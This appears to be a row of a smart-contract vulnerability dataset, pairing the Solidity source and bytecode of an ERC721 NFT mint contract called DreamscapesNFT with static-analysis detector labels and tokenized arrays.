4f565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b1580156111aa57600080fd5b505af11580156111be573d6000803e3d6000fd5b5050505050565b8280546111d19061156e565b90600052602060002090601f0160209004810192826111f35760008555611239565b82601f1061120c5782800160ff19823516178555611239565b82800160010185558215611239579182015b8281111561123957823582559160200191906001019061121e565b50611245929150611249565b5090565b5b80821115611245576000815560010161124a565b803561ffff8116811461127057600080fd5b919050565b60006020828403121561128757600080fd5b81356001600160a01b038116811461129e57600080fd5b9392505050565b600080602083850312156112b857600080fd5b823567ffffffffffffffff808211156112d057600080fd5b818501915085601f8301126112e457600080fd5b8135818111156112f357600080fd5b86602082850101111561130557600080fd5b60209290920196919550909350505050565b60006080828403121561132957600080fd5b6040516080810167ffffffffffffffff828210818311171561134d5761134d6115d5565b816040528435835260208501359150808216821461136a57600080fd5b506020820152604083013563ffffffff8116811461138757600080fd5b60408201526113986060840161125e565b60608201529392505050565b6000602082840312156113b657600080fd5b5035919050565b6000602082840312156113cf57600080fd5b5051919050565b600080604083850312156113e957600080fd5b8235915060208084013567ffffffffffffffff8082111561140957600080fd5b818601915086601f83011261141d57600080fd5b81358181111561142f5761142f6115d5565b8060051b91506114408483016114e4565b8181528481019084860184860187018b101561145b57600080fd5b600095505b8386101561147e578035835260019590950194918601918601611460565b508096505050505050509250929050565b600060208083528351808285015260005b818110156114bc578581018301518582016040015282016114a0565b818111156114ce576000604083870101525b50601f01601f1916929092016040019392505050565b604051601f8201601f1916810167ffffffffffffffff8111828210171561150d5761150d6115d5565b604052919050565b60008219821115611528576115286115a9565b500190565b60008261154a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611569576115696115a9565b500290565b600181811c9082168061158257607f821691505b602082108114156115a357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212206cb25e7c466ab26bad800b8e1de2ac7edcb8165d5d58cbdc71872306be5f7bb964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2629, 3401, 26337, 2509, 10322, 20842, 28311, 17914, 2692, 2063, 15136, 26337, 2683, 2683, 2487, 3207, 2620, 2278, 2692, 2050, 27814, 2581, 2063, 2549, 2050, 25746, 2620, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 29464, 11890, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 15476, 10020, 3064, 1013, 3499, 9863, 27528, 21031, 15058, 1012, 14017, 1000, 1025, 8278, 20912, 4886, 9103, 2003, 29464, 11890, 2581, 17465, 1063, 1065, 8278, 20868, 17311, 2618, 1063, 3853, 6402, 1006, 4769, 5310, 1010, 21318, 3372, 17788, 2575, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,847
0x95CF038e145c131994177af64a56272f7bB37c58
// SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; import "./ERC721Enumerable.sol"; import "./Ownable.sol"; contract DreamscapesNFT is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; uint256 public price = 0.07 ether; uint256 public maxSupply = 5000; uint256 public maxMintAmount = 7; uint256 public nftPerAddressLimit = 3; string public provenance = ""; bool public salePaused = false; bool public preSaleOnly = true; bool public revealed = false; string public notRevealedUri; address[] public whitelistedAddresses; mapping(address => uint256) public addressMintedBalance; address payable public payments; uint256 supply = totalSupply(); address team1 = 0x889549315C4e407C66F657C889546C7D601c33A7; // R address team2 = 0x72955DA661419619BA017B1cd71530A9724b9bdc; // J address team3 = 0xdF6769E7fCF7D3DF3c1d488CE4AdD0df9a1AC9a6; // N address team4 = 0x42cD50b383d6098688BaB8a68a2feCC8e8EB7367; // C address team5 = 0x451ba8e9c27D101e769bC291E487F71425A39D2d ; // Z address giveaway = 0xc5bbC6ad9B7d201EF24d27548E58800CD477563d; // DS constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri, address _payments ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); payments = payable(_payments); mint(giveaway, 7); mint(giveaway, 7); mint(giveaway, 6); mint(team1, 1); mint(team2, 1); mint(team3, 1); mint(team4, 1); mint(team5, 1); setSalePaused(true); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(address _toAddress, uint256 _mintAmount) public payable { require(!salePaused, "the contract is paused"); supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); if (msg.sender != owner()) { if(preSaleOnly == true) { require(isWhitelisted(_toAddress), "user is not whitelisted"); uint256 ownerMintedCount = addressMintedBalance[_toAddress]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); } require(msg.value >= price * _mintAmount, "insufficient funds"); } for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[_toAddress]++; _safeMint(_toAddress, supply + i); } } function isWhitelisted(address _user) public view returns (bool) { for (uint i = 0; i < whitelistedAddresses.length; i++) { if (whitelistedAddresses[i] == _user) { return true; } } return false; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return bytes(notRevealedUri).length > 0 ? string(abi.encodePacked(notRevealedUri, tokenId.toString(), baseExtension)) : ""; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } // Only owner function reveal() public onlyOwner { revealed = true; } function setProvenanceHash(string memory provenanceHash) public onlyOwner { provenance = provenanceHash; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner() { nftPerAddressLimit = _limit; } function setPrice(uint256 _newPrice) public onlyOwner() { price = _newPrice; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setSalePaused(bool _state) public onlyOwner { salePaused = _state; } function setPreSaleOnly(bool _state) public onlyOwner { preSaleOnly = _state; } function whitelistUsers(address[] calldata _users) public onlyOwner { delete whitelistedAddresses; whitelistedAddresses = _users; } function withdraw() public payable onlyOwner { (bool success, ) = payable(payments).call{value: address(this).balance}(""); require(success); } }
0x6080604052600436106102935760003560e01c80636c0360eb1161015a578063b88d4fde116100c1578063d5abeb011161007a578063d5abeb0114610789578063da3ef23f1461079f578063e985e9c5146107bf578063edec5f2714610808578063f2c4ce1e14610828578063f2fde38b1461084857600080fd5b8063b88d4fde146106de578063ba4e5c49146106fe578063ba7d2c761461071e578063c668286214610734578063c87b56dd14610749578063d0eb26b01461076957600080fd5b806391b7f5ed1161011357806391b7f5ed1461063e57806395d89b411461065e578063a035b1fe14610673578063a22cb46514610689578063a475b5dd146106a9578063a6d23e10146106be57600080fd5b80636c0360eb1461059657806370a08231146105ab578063715018a6146105cb5780637f00c7a6146105e05780638d92becd146106005780638da5cb5b1461062057600080fd5b80632f745c59116101fe5780634f6ccce7116101b75780634f6ccce7146104dd57806351830227146104fd57806355f804b31461051d5780635d08c1ae1461053d5780635f2cc131146105575780636352211e1461057657600080fd5b80632f745c59146104355780633af32abf146104555780633ccfd60b1461047557806340c10f191461047d57806342842e0e14610490578063438b6300146104b057600080fd5b80631096952311610250578063109695231461037357806318160ddd1461039357806318cae269146103b25780631b4fc7f9146103df578063239c70ae146103ff57806323b872dd1461041557600080fd5b806301ffc9a71461029857806306fdde03146102cd578063081812fc146102ef578063081c8c4414610327578063095ea7b31461033c5780630f7309e81461035e575b600080fd5b3480156102a457600080fd5b506102b86102b33660046125f5565b610868565b60405190151581526020015b60405180910390f35b3480156102d957600080fd5b506102e2610893565b6040516102c49190612831565b3480156102fb57600080fd5b5061030f61030a366004612678565b610925565b6040516001600160a01b0390911681526020016102c4565b34801561033357600080fd5b506102e26109bf565b34801561034857600080fd5b5061035c61035736600461253b565b610a4d565b005b34801561036a57600080fd5b506102e2610b63565b34801561037f57600080fd5b5061035c61038e36600461262f565b610b70565b34801561039f57600080fd5b506008545b6040519081526020016102c4565b3480156103be57600080fd5b506103a46103cd36600461240b565b60156020526000908152604090205481565b3480156103eb57600080fd5b5061035c6103fa3660046125da565b610bb1565b34801561040b57600080fd5b506103a4600f5481565b34801561042157600080fd5b5061035c610430366004612459565b610bf5565b34801561044157600080fd5b506103a461045036600461253b565b610c26565b34801561046157600080fd5b506102b861047036600461240b565b610cbc565b61035c610d26565b61035c61048b36600461253b565b610db3565b34801561049c57600080fd5b5061035c6104ab366004612459565b6110a9565b3480156104bc57600080fd5b506104d06104cb36600461240b565b6110c4565b6040516102c491906127ed565b3480156104e957600080fd5b506103a46104f8366004612678565b611166565b34801561050957600080fd5b506012546102b89062010000900460ff1681565b34801561052957600080fd5b5061035c61053836600461262f565b6111f9565b34801561054957600080fd5b506012546102b89060ff1681565b34801561056357600080fd5b506012546102b890610100900460ff1681565b34801561058257600080fd5b5061030f610591366004612678565b611236565b3480156105a257600080fd5b506102e26112ad565b3480156105b757600080fd5b506103a46105c636600461240b565b6112ba565b3480156105d757600080fd5b5061035c611341565b3480156105ec57600080fd5b5061035c6105fb366004612678565b611377565b34801561060c57600080fd5b5061035c61061b3660046125da565b6113a6565b34801561062c57600080fd5b50600a546001600160a01b031661030f565b34801561064a57600080fd5b5061035c610659366004612678565b6113e3565b34801561066a57600080fd5b506102e2611412565b34801561067f57600080fd5b506103a4600d5481565b34801561069557600080fd5b5061035c6106a4366004612511565b611421565b3480156106b557600080fd5b5061035c61142c565b3480156106ca57600080fd5b5060165461030f906001600160a01b031681565b3480156106ea57600080fd5b5061035c6106f9366004612495565b611469565b34801561070a57600080fd5b5061030f610719366004612678565b6114a1565b34801561072a57600080fd5b506103a460105481565b34801561074057600080fd5b506102e26114cb565b34801561075557600080fd5b506102e2610764366004612678565b6114d8565b34801561077557600080fd5b5061035c610784366004612678565b611625565b34801561079557600080fd5b506103a4600e5481565b3480156107ab57600080fd5b5061035c6107ba36600461262f565b611654565b3480156107cb57600080fd5b506102b86107da366004612426565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561081457600080fd5b5061035c610823366004612565565b611691565b34801561083457600080fd5b5061035c61084336600461262f565b6116d3565b34801561085457600080fd5b5061035c61086336600461240b565b611710565b60006001600160e01b0319821663780e9d6360e01b148061088d575061088d826117ae565b92915050565b6060600080546108a2906129aa565b80601f01602080910402602001604051908101604052809291908181526020018280546108ce906129aa565b801561091b5780601f106108f05761010080835404028352916020019161091b565b820191906000526020600020905b8154815290600101906020018083116108fe57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166109a35760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b601380546109cc906129aa565b80601f01602080910402602001604051908101604052809291908181526020018280546109f8906129aa565b8015610a455780601f10610a1a57610100808354040283529160200191610a45565b820191906000526020600020905b815481529060010190602001808311610a2857829003601f168201915b505050505081565b6000610a5882611236565b9050806001600160a01b0316836001600160a01b03161415610ac65760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161099a565b336001600160a01b0382161480610ae25750610ae281336107da565b610b545760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161099a565b610b5e83836117fe565b505050565b601180546109cc906129aa565b600a546001600160a01b03163314610b9a5760405162461bcd60e51b815260040161099a90612896565b8051610bad90601190602084019061225f565b5050565b600a546001600160a01b03163314610bdb5760405162461bcd60e51b815260040161099a90612896565b601280549115156101000261ff0019909216919091179055565b610bff338261186c565b610c1b5760405162461bcd60e51b815260040161099a906128cb565b610b5e838383611963565b6000610c31836112ba565b8210610c935760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b606482015260840161099a565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b6000805b601454811015610d1d57826001600160a01b031660148281548110610ce757610ce7612a56565b6000918252602090912001546001600160a01b03161415610d0b5750600192915050565b80610d15816129e5565b915050610cc0565b50600092915050565b600a546001600160a01b03163314610d505760405162461bcd60e51b815260040161099a90612896565b6016546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610d9d576040519150601f19603f3d011682016040523d82523d6000602084013e610da2565b606091505b5050905080610db057600080fd5b50565b60125460ff1615610dff5760405162461bcd60e51b81526020600482015260166024820152751d1a194818dbdb9d1c9858dd081a5cc81c185d5cd95960521b604482015260640161099a565b60085460175580610e525760405162461bcd60e51b815260206004820152601b60248201527f6e65656420746f206d696e74206174206c656173742031204e46540000000000604482015260640161099a565b600f54811115610eb05760405162461bcd60e51b8152602060048201526024808201527f6d6178206d696e7420616d6f756e74207065722073657373696f6e20657863656044820152631959195960e21b606482015260840161099a565b600e5481601754610ec1919061291c565b1115610f085760405162461bcd60e51b81526020600482015260166024820152751b585e08139195081b1a5b5a5d08195e18d95959195960521b604482015260640161099a565b600a546001600160a01b0316331461104d5760125460ff61010090910416151560011415610ffb57610f3982610cbc565b610f855760405162461bcd60e51b815260206004820152601760248201527f75736572206973206e6f742077686974656c6973746564000000000000000000604482015260640161099a565b6001600160a01b038216600090815260156020526040902054601054610fab838361291c565b1115610ff95760405162461bcd60e51b815260206004820152601c60248201527f6d6178204e465420706572206164647265737320657863656564656400000000604482015260640161099a565b505b80600d546110099190612948565b34101561104d5760405162461bcd60e51b8152602060048201526012602482015271696e73756666696369656e742066756e647360701b604482015260640161099a565b60015b818111610b5e576001600160a01b038316600090815260156020526040812080549161107b836129e5565b91905055506110978382601754611092919061291c565b611b0e565b806110a1816129e5565b915050611050565b610b5e83838360405180602001604052806000815250611469565b606060006110d1836112ba565b905060008167ffffffffffffffff8111156110ee576110ee612a6c565b604051908082528060200260200182016040528015611117578160200160208202803683370190505b50905060005b8281101561115e5761112f8582610c26565b82828151811061114157611141612a56565b602090810291909101015280611156816129e5565b91505061111d565b509392505050565b600061117160085490565b82106111d45760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b606482015260840161099a565b600882815481106111e7576111e7612a56565b90600052602060002001549050919050565b600a546001600160a01b031633146112235760405162461bcd60e51b815260040161099a90612896565b8051610bad90600b90602084019061225f565b6000818152600260205260408120546001600160a01b03168061088d5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161099a565b600b80546109cc906129aa565b60006001600160a01b0382166113255760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161099a565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b0316331461136b5760405162461bcd60e51b815260040161099a90612896565b6113756000611b28565b565b600a546001600160a01b031633146113a15760405162461bcd60e51b815260040161099a90612896565b600f55565b600a546001600160a01b031633146113d05760405162461bcd60e51b815260040161099a90612896565b6012805460ff1916911515919091179055565b600a546001600160a01b0316331461140d5760405162461bcd60e51b815260040161099a90612896565b600d55565b6060600180546108a2906129aa565b610bad338383611b7a565b600a546001600160a01b031633146114565760405162461bcd60e51b815260040161099a90612896565b6012805462ff0000191662010000179055565b611473338361186c565b61148f5760405162461bcd60e51b815260040161099a906128cb565b61149b84848484611c49565b50505050565b601481815481106114b157600080fd5b6000918252602090912001546001600160a01b0316905081565b600c80546109cc906129aa565b6000818152600260205260409020546060906001600160a01b03166115575760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b606482015260840161099a565b60125462010000900460ff166115c657600060138054611576906129aa565b905011611592576040518060200160405280600081525061088d565b601361159d83611c7c565b600c6040516020016115b193929190612794565b60405160208183030381529060405292915050565b60006115d0611d7a565b905060008151116115f0576040518060200160405280600081525061161e565b806115fa84611c7c565b600c60405160200161160e93929190612757565b6040516020818303038152906040525b9392505050565b600a546001600160a01b0316331461164f5760405162461bcd60e51b815260040161099a90612896565b601055565b600a546001600160a01b0316331461167e5760405162461bcd60e51b815260040161099a90612896565b8051610bad90600c90602084019061225f565b600a546001600160a01b031633146116bb5760405162461bcd60e51b815260040161099a90612896565b6116c7601460006122e3565b610b5e60148383612301565b600a546001600160a01b031633146116fd5760405162461bcd60e51b815260040161099a90612896565b8051610bad90601390602084019061225f565b600a546001600160a01b0316331461173a5760405162461bcd60e51b815260040161099a90612896565b6001600160a01b03811661179f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161099a565b610db081611b28565b3b151590565b60006001600160e01b031982166380ac58cd60e01b14806117df57506001600160e01b03198216635b5e139f60e01b145b8061088d57506301ffc9a760e01b6001600160e01b031983161461088d565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061183382611236565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166118e55760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161099a565b60006118f083611236565b9050806001600160a01b0316846001600160a01b0316148061192b5750836001600160a01b031661192084610925565b6001600160a01b0316145b8061195b57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661197682611236565b6001600160a01b0316146119de5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161099a565b6001600160a01b038216611a405760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161099a565b611a4b838383611d89565b611a566000826117fe565b6001600160a01b0383166000908152600360205260408120805460019290611a7f908490612967565b90915550506001600160a01b0382166000908152600360205260408120805460019290611aad90849061291c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b610bad828260405180602001604052806000815250611e41565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b03161415611bdc5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161099a565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611c54848484611963565b611c6084848484611e74565b61149b5760405162461bcd60e51b815260040161099a90612844565b606081611ca05750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611cca5780611cb4816129e5565b9150611cc39050600a83612934565b9150611ca4565b60008167ffffffffffffffff811115611ce557611ce5612a6c565b6040519080825280601f01601f191660200182016040528015611d0f576020820181803683370190505b5090505b841561195b57611d24600183612967565b9150611d31600a86612a00565b611d3c90603061291c565b60f81b818381518110611d5157611d51612a56565b60200101906001600160f81b031916908160001a905350611d73600a86612934565b9450611d13565b6060600b80546108a2906129aa565b6001600160a01b038316611de457611ddf81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611e07565b816001600160a01b0316836001600160a01b031614611e0757611e078382611f81565b6001600160a01b038216611e1e57610b5e8161201e565b826001600160a01b0316826001600160a01b031614610b5e57610b5e82826120cd565b611e4b8383612111565b611e586000848484611e74565b610b5e5760405162461bcd60e51b815260040161099a90612844565b60006001600160a01b0384163b15611f7657604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611eb89033908990889088906004016127b0565b602060405180830381600087803b158015611ed257600080fd5b505af1925050508015611f02575060408051601f3d908101601f19168201909252611eff91810190612612565b60015b611f5c573d808015611f30576040519150601f19603f3d011682016040523d82523d6000602084013e611f35565b606091505b508051611f545760405162461bcd60e51b815260040161099a90612844565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061195b565b506001949350505050565b60006001611f8e846112ba565b611f989190612967565b600083815260076020526040902054909150808214611feb576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061203090600190612967565b6000838152600960205260408120546008805493945090928490811061205857612058612a56565b90600052602060002001549050806008838154811061207957612079612a56565b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806120b1576120b1612a40565b6001900381819060005260206000200160009055905550505050565b60006120d8836112ba565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166121675760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161099a565b6000818152600260205260409020546001600160a01b0316156121cc5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161099a565b6121d860008383611d89565b6001600160a01b038216600090815260036020526040812080546001929061220190849061291c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461226b906129aa565b90600052602060002090601f01602090048101928261228d57600085556122d3565b82601f106122a657805160ff19168380011785556122d3565b828001600101855582156122d3579182015b828111156122d35782518255916020019190600101906122b8565b506122df929150612354565b5090565b5080546000825590600052602060002090810190610db09190612354565b8280548282559060005260206000209081019282156122d3579160200282015b828111156122d35781546001600160a01b0319166001600160a01b03843516178255602090920191600190910190612321565b5b808211156122df5760008155600101612355565b600067ffffffffffffffff8084111561238457612384612a6c565b604051601f8501601f19908116603f011681019082821181831017156123ac576123ac612a6c565b816040528093508581528686860111156123c557600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b03811681146123f657600080fd5b919050565b803580151581146123f657600080fd5b60006020828403121561241d57600080fd5b61161e826123df565b6000806040838503121561243957600080fd5b612442836123df565b9150612450602084016123df565b90509250929050565b60008060006060848603121561246e57600080fd5b612477846123df565b9250612485602085016123df565b9150604084013590509250925092565b600080600080608085870312156124ab57600080fd5b6124b4856123df565b93506124c2602086016123df565b925060408501359150606085013567ffffffffffffffff8111156124e557600080fd5b8501601f810187136124f657600080fd5b61250587823560208401612369565b91505092959194509250565b6000806040838503121561252457600080fd5b61252d836123df565b9150612450602084016123fb565b6000806040838503121561254e57600080fd5b612557836123df565b946020939093013593505050565b6000806020838503121561257857600080fd5b823567ffffffffffffffff8082111561259057600080fd5b818501915085601f8301126125a457600080fd5b8135818111156125b357600080fd5b8660208260051b85010111156125c857600080fd5b60209290920196919550909350505050565b6000602082840312156125ec57600080fd5b61161e826123fb565b60006020828403121561260757600080fd5b813561161e81612a82565b60006020828403121561262457600080fd5b815161161e81612a82565b60006020828403121561264157600080fd5b813567ffffffffffffffff81111561265857600080fd5b8201601f8101841361266957600080fd5b61195b84823560208401612369565b60006020828403121561268a57600080fd5b5035919050565b600081518084526126a981602086016020860161297e565b601f01601f19169290920160200192915050565b8054600090600181811c90808316806126d757607f831692505b60208084108214156126f957634e487b7160e01b600052602260045260246000fd5b81801561270d576001811461271e5761274b565b60ff1986168952848901965061274b565b60008881526020902060005b868110156127435781548b82015290850190830161272a565b505084890196505b50505050505092915050565b6000845161276981846020890161297e565b84519083019061277d81836020890161297e565b612789818301866126bd565b979650505050505050565b60006127a082866126bd565b845161277d81836020890161297e565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906127e390830184612691565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561282557835183529284019291840191600101612809565b50909695505050505050565b60208152600061161e6020830184612691565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561292f5761292f612a14565b500190565b60008261294357612943612a2a565b500490565b600081600019048311821515161561296257612962612a14565b500290565b60008282101561297957612979612a14565b500390565b60005b83811015612999578181015183820152602001612981565b8381111561149b5750506000910152565b600181811c908216806129be57607f821691505b602082108114156129df57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156129f9576129f9612a14565b5060010190565b600082612a0f57612a0f612a2a565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610db057600080fdfea2646970667358221220d49116436ce72c311a116755361f60518559f422b58c4fd6edb766c4dfcc62d664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 2546, 2692, 22025, 2063, 16932, 2629, 2278, 17134, 16147, 2683, 23632, 2581, 2581, 10354, 21084, 2050, 26976, 22907, 2475, 2546, 2581, 10322, 24434, 2278, 27814, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1021, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 3206, 5544, 19464, 2015, 2078, 6199, 2003, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1010, 2219, 3085, 1063, 2478, 7817, 2005, 21318, 3372, 17788, 2575, 1025, 5164, 2270, 2918, 9496, 1025, 5164, 2270, 2918, 10288, 29048, 1027, 1000, 1012, 1046, 102 ]
